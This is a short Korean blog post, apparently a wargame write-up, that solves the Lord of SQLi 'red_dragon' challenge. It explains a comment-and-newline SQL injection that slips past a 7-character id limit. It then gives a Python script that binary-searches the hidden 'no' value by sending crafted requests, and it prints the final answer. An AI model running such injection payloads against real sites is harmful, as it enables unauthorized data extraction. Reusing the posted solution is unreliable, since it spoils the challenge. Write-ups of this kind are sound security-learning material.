본문 바로가기
워게임/LOS

red_dragon(개행, 이분탐색)

by meanjung 2021. 10. 6.

id는 길이가 7보다 크면 안되고

no는 숫자여야 한다.


select id from prob_red_dragon where id=''||no># and no=

100

쿼리가 이렇게 되면 no값에 따라 T/F를 판단할 수 있다. 

 

?id='||no>%23

 

no에는 값을 계속 변화시키면서 이분탐색을 하면 된다.

 

난 우선 그냥 값을 막 집어넣어서 시작지점과 끝지점을 내 임의로 정하고 코드를 짰다.

import requests
cookies = {"PHPSESSID":""}

start=999999
end=9999999999
while start<=end:
    mid = (start+end)//2
    response = requests.get(f"https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27%7C%7Cno%3E%23&no=%0a{mid}",cookies=cookies)
    if "Hello admin" in response.text:
        start=mid+1
    else:
        end=mid-1
print(end+1)

output> 586482014


'워게임 > LOS' 카테고리의 다른 글

frankenstein(error based sqli)  (0) 2021.10.09
blue_dragon(time based sql injection)  (0) 2021.10.09
[**] green_dragon  (0) 2021.10.06
evil_wizard  (0) 2021.10.06
hell fire(order by)  (0) 2021.10.05

댓글